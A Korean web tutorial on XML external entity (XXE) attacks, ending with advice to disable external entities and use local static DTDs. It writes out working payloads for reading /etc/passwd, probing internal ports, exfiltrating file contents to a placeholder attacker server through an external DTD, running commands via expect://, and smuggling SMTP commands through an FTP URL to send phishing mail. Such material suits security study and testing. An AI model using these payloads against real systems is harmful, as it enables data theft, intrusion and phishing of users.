간단히 말하면 XXE는 XML 외부 엔터티 주입입니다. 외부 엔터티 참조를 허용하면 악성 콘텐츠를 구성해 임의 파일 읽기, 시스템 명령 실행, 인트라넷 포트 탐지, 인트라넷 웹사이트 공격 등 피해를 입힐 수 있다.
예를 들어 현재 사용 중인 프로그램이 PHP인 경우 libxml_disable_entity_loader를 TRUE로 설정하여 방어 목적으로 외부 엔터티를 비활성화할 수 있습니다.
일반적으로 공격자는 파일이 실행되면 서버의 로컬 파일을 읽고 내부 네트워크 포트를 스캔하기 위해 내부 네트워크에 대한 액세스를 시작합니다. 즉, XXE는 로컬에서 다양한 서비스에 접근하는 방법입니다. 또한 이는 공격자가 방화벽 규칙 필터링이나 인증 확인을 어느 정도 우회하는 데 도움이 될 수도 있습니다.
다음은 간단한 XML 코드 POST 요청의 예입니다.
POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1 <?xml version="1.0"?> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>XML is the best!</description> </core> </catalog>
위 코드는 서버의 XML 프로세서에 의해 구문 분석됩니다. 코드가 해석되어 반환됩니다. {"요청 성공": "추가됨!"}
이제 공격자가 XML 코드 구문 분석을 남용하려고 하면 어떻게 될까요? 코드를 편집하고 악성 페이로드를 포함시키자:
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
코드가 해석되어 다음을 반환합니다.
{"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync...
위 예에서 볼 수 있듯이 서버는 /etc/passwd 파일의 내용을 다음과 같이 반환합니다. 우리의 XXE에 대한 응답입니다. 그러나 어떤 경우에는 XXE가 서버에 있더라도 공격자의 브라우저나 프록시에 응답이 반환되지 않습니다. 이 경우 Blind XXE 취약점을 사용하여 대역 외(OOB) 채널을 구축하여 데이터를 읽을 수 있습니다. 파일 내용을 직접 볼 수는 없지만 취약한 서버를 프록시로 사용하여 외부 네트워크에서 코드는 물론 검사도 수행할 수 있습니다.
첫 번째 예에서는 URI를 통해 /etc/passwd 파일에 대한 요청을 가리키고 마침내 파일 내용을 성공적으로 반환했습니다. 이 외에도 http URI를 사용하고 서버가 우리가 지정한 끝점과 포트에 GET 요청을 보내도록 하여 XXE를 SSRF(서버 측 요청 위조)로 변환할 수도 있습니다.
다음 코드는 포트 8080과 통신을 시도합니다. 응답 시간/길이를 기반으로 공격자는 포트가 열려 있는지 확인할 수 있습니다.
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
외부 DTD(문서 유형 정의) 파일을 사용하여 OOB XXE를 실행할 수 있습니다. 공격자는 VPS에서 .dtd 파일을 호스팅하여 취약한 원격 서버가 파일을 획득하고 그 안에서 악성 명령을 실행할 수 있도록 합니다.
방법을 시연하고 테스트하기 위해 다음 요청이 애플리케이션으로 전송됩니다.
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd"> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
위 코드는 취약한 서버에서 처리되면 페이로드가 포함된 DTD 파일을 찾는 원격 서버로 요청을 보냅니다.
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>"> %all;
위 요청의 실행 흐름을 잠시 살펴보겠습니다. 그 결과 두 개의 요청이 서버로 전송되고 두 번째 요청은 /etc/passwd 파일의 내용입니다.
VPS 로그에서 OOB XXE 취약점의 존재를 확인하는 파일 콘텐츠가 포함된 두 번째 요청을 볼 수 있습니다.
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh
이것은 드물지만 다음과 같은 경우가 있습니다. 공격자는 주로 내부 애플리케이션의 부적절한 구성/개발로 인해 XXE를 통해 코드를 실행할 수 있습니다. 운이 좋고 PHP 예상 모듈이 취약한 시스템이나 XML을 처리하는 내부 애플리케이션에 로드된 경우 다음과 같은 명령을 실행할 수 있습니다.
<?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
Response:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
찾았습니다. Java의 XML 파서를 사용하는 취약한 엔드포인트. 내부 포트를 스캔한 후 sun.net.ftp.impl.FtpClient에서 ftp URI에 대한 Java 지원을 사용하여 포트 25에서 수신 대기하는 SMTP 서비스를 발견했습니다. 따라서 ftp://user:password@host:port/test.txt와 같은 사용자 이름과 비밀번호를 지정할 수 있으며 FTP 클라이언트는 연결에서 해당 USER 명령을 보냅니다.
그러나 URL의 사용자 부분에 %0D%0A(CRLF)를 추가하면 USER 명령을 종료하고 FTP 세션에 새 명령을 삽입할 수 있습니다. 이를 통해 임의의 SMTP를 포트 25 명령으로 보낼 수 있습니다.
ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :a@VULNERABLESYSTEM.com:25
FTP 클라이언트가 이 URL을 사용하여 연결하면 다음 명령이 VULNERABLESYSTEM.com의 메일 서버로 전송됩니다.
ftp://a EHLO a MAIL FROM: <support@VULNERABLESYSTEM.com> RCPT TO: <victim@gmail.com> DATA From: support@VULNERABLESYSTEM.com To: victim@gmail.com Subject: Reset your password We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com . QUIT :support@VULNERABLESYSTEM.com:25
이는 공격자가 신뢰할 수 있는 소스(예: 계정 재설정 링크)에서 피싱 이메일을 보낼 수 있음을 의미합니다. 스팸 필터를 통한 탐지 우회. 링크 외에도 첨부 파일을 보낼 수도 있습니다.
웹 요청을 수동으로 편집할 수 있는 능력은 XXE 공격에 매우 중요합니다. 여기에서는 모든 사람에게 BurpSuite를 사용하는 것이 좋습니다. BurpSuite의 스캐닝 기능은 잠재적인 XXE 취약점을 감지할 수 있으며, 두 번째로 Burp의 Intruder 기능은 포트 감지에 매우 적합합니다. 하지만 도구는 단지 우리의 보조자일 뿐이며 어떤 경우에는 수동 테스트가 더 나을 수도 있다는 점을 상기시켜 드리고 싶습니다!
RequestBin 및 HookBin과 같은 HTTP 요청 분석 도구는 OOB XXE 테스트에 매우 적합합니다. 또한 BurpSuite Pro의 Collaborator도 좋은 선택이지만 일부 보안 연구원은 자체 VPS를 선호합니다.
위에서 논의한 주요 문제는 XML 파서가 사용자가 보낸 신뢰할 수 없는 데이터를 구문 분석한다는 것입니다. 그러나 DTD(문서 유형 정의)에서 SYSTEM 식별자로 정의된 데이터를 확인하는 것은 쉽지 않거나 불가능합니다. 대부분의 XML 파서는 기본적으로 XXE 공격에 취약합니다. 따라서 가장 좋은 해결책은 로컬 정적 DTD를 사용하고 XML에 자체 선언된 DTD가 포함되지 않도록 XML 프로세서를 구성하는 것입니다.
위 내용은 XML에서 원격 코드 실행까지의 방법은 무엇입니까의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!